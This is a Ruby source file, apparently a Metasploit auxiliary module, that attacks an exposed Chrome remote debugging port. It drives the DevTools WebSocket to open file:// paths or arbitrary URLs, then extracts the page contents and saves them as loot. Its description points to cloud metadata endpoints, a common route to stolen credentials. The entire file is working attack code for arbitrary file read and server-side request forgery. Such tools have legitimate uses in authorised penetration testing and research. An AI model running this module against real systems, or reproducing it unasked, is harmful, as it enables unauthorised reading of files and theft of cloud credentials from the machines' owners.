##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'eventmachine'
require 'faye/websocket'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
        'Description' => %q{
          This module uses the Chrome Debugger's API to read
          files off the remote file system, or to make web requests
          from a remote machine.  Useful for cloud metadata endpoints!
        },
        'Author' => [
          'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
          'Nicholas Starke (The King Pig Demon)' # msf module
        ],
        'DisclosureDate' => '2019-09-24',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9222),
        OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
        OptString.new('URL', [false, 'Url to fetch from remote machine.']),
        OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
      ]
    )

    deregister_options('Proxies')
    deregister_options('VHOST')
    deregister_options('SSL')
  end

  def run
    if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
      print_error('Must set FilePath or Url')
      return
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/json'
    })

    if res.nil?
      print_error('Bad Response')
      return
    end

    data = JSON.parse(res.body).pop
    EM.run do
      file_path = datastore['FILEPATH']
      url = datastore['URL']

      if file_path
        fetch_uri = "file://#{file_path}"
      else
        fetch_uri = url
      end

      print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")

      unless data.key?('webSocketDebuggerUrl')
        fail_with(Failure::Unknown, 'Invalid JSON')
      end

      driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])

      driver.on :open do
        print_status('Opened connection')
        id = rand(1024 * 1024 * 1024)

        @succeeded = false

        EM::Timer.new(1) do
          print_status("Attempting to load url #{fetch_uri}")
          driver.send({
            'id' => id,
            'method' => 'Page.navigate',
            'params' => {
              url: fetch_uri
            }
          }.to_json)
        end

        EM::Timer.new(3) do
          print_status('Sending request for data')
          driver.send({
            'id' => id + 1,
            'method' => 'Runtime.evaluate',
            'params' => {
              'expression' => 'document.documentElement.outerHTML'
            }
          }.to_json)
        end
      end

      driver.on :message do |event|
        print_status('Received Data')

        data = JSON.parse(event.data)

        if data['result']['result']
          loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
          print_good("Stored #{fetch_uri} at #{loot_path}")
          @succeeded = true
        end
      end

      EM::Timer.new(datastore['TIMEOUT']) do
        EventMachine.stop
        fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
      end
    end
  end
end
